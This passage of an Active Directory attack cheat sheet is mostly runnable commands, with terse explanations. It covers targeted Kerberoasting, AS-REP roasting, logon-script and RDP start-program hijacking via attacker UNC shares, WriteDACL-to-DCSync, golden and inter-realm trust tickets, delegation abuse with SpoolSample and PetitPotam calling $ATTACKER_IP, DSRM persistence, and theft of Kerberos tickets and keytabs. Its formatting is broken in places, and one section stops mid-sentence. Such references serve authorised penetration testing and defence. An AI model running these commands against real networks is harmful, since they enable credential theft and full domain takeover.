# Check if current user has already an SPN setted: PowerView2 > Get-DomainUser -Identity | select serviceprincipalname

# Force set the SPN on the account: Targeted Kerberoasting PowerView2 > Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'} PowerView3 > Set-DomainObject -Identity -Set @{serviceprincipalname='any/thing'}

# Grab the ticket PowerView2 > $User = Get-DomainUser username PowerView2 > $User | Get-DomainSPNTicket | fl PowerView2 > $User | Select serviceprincipalname

# Remove the SPN PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname ```

GenericAll/GenericWrite : We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
- On Windows: ```powershell
Modify the userAccountControl

PowerView2 > Get-DomainUser username | ConvertFrom-UACValue PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

Grab the ticket

PowerView2 > Get-DomainUser username | ConvertFrom-UACValue ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

Set back the userAccountControl

PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose PowerView2 > Get-DomainUser username | ConvertFrom-UACValue * On Linux:bash

Modify the userAccountControl

$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user

Grab the ticket

$ GetNPUsers.py DOMAIN/target_user -format -outputfile

WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1

GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

WriteDACL on Domain:
- On Windows: powershell # Give DCSync right to the principal identity Import-Module .\PowerView.ps1 $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
- On Linux: ```bash
Give DCSync right to the principal identity

bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2

Remove right after DCSync

bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2 ```
WriteDACL on Group powershell Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 net group "INTERESTING_GROUP" User1 /add /domain

WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp

ForceChangePassword

An attacker can change the password of the user this ACE applies to: * On Windows, this can be achieved with Set-DomainUserPassword (PowerView module):

$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword

On Linux:

# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd

Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements: - KRBTGT Hash - Find the SID of the domain ```powershell $ Convert-NameToSid target.domain.com\krbtgt S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket

```

Replace 502 with 519 to represent Enterprise Admins
Create golden ticket and attack parent domain. powershell kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Forest to Forest Compromise - Trust Ticket

Require: SID filtering disabled

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.

Dumping trust passwords (trust keys)

Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.

lsadump::trust /patch

or find the TRUST_NAME$ machine account hash

Create a forged trust ticket (inter-realm TGT) using Mimikatz

mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi

Use the Trust Ticket file to get a TGS for the targeted service

.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

Inject the TGS file and access the targeted service with the spoofed rights.

kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$

Kerberos Unconstrained Delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.

:warning: Unconstrained delegation used to be the only option available in Windows 2000

SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

Requirements: - Object with Property Trust this computer for delegation to any service (Kerberos only) - Must have ADS_UF_TRUSTED_FOR_DELEGATION - Must not have ADS_UF_NOT_DELEGATED flag - User must not be in the Protected Users group - User must not have the flag Account is sensitive and cannot be delegated

Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.
Check the TrustedForDelegation property.

ADModule powershell # From https://github.com/samratashok/ADModule PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
ldapdomaindump powershell $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 grep TRUSTED_FOR_DELEGATION domain_computers.grep
CrackMapExec module powershell cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation

SpoolService status

Check if the spool service is running on the remote host

ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10

Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1

Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets

Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt

Mitigation

Ensure sensitive accounts cannot be delegated
Disable the Print Spooler Service

MS-EFSRPC Abuse with Unconstrained Delegation

Using PetitPotam, another tool to coerce a callback from the targeted machine, instead of SpoolSample.

# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Kerberos Constrained Delegation

Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

Exploit the Constrained Delegation

Impacket bash $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
Rubeus bash $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:... $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt $ dir \\dc.domain.com\c$

Impersonate a domain user on a resource

Require: * SYSTEM level privileges on a machine configured with constrained delegation

PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()

PS> ls \\dc01.offense.local\c$

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.

powershell net user hacker Password123! /add net localgroup administrators /add hacker
Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

DSRM Credentials

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

CCACHE ticket reuse from /tmp

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.

$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

$ export KRB5CCNAME=/tmp/krb5cc_1569901115

CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.

git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey

The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

CCACHE ticket reuse from keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
     KVNO: 25
     Key type: 23
     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
     Time stamp: Oct 07,  2019 09:12:02
[...]

On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.

$ python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

On macOS you can use bifrost.

./bifrost -action dump -source keytab -path test

Connect to the machine using the account and the hash with CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
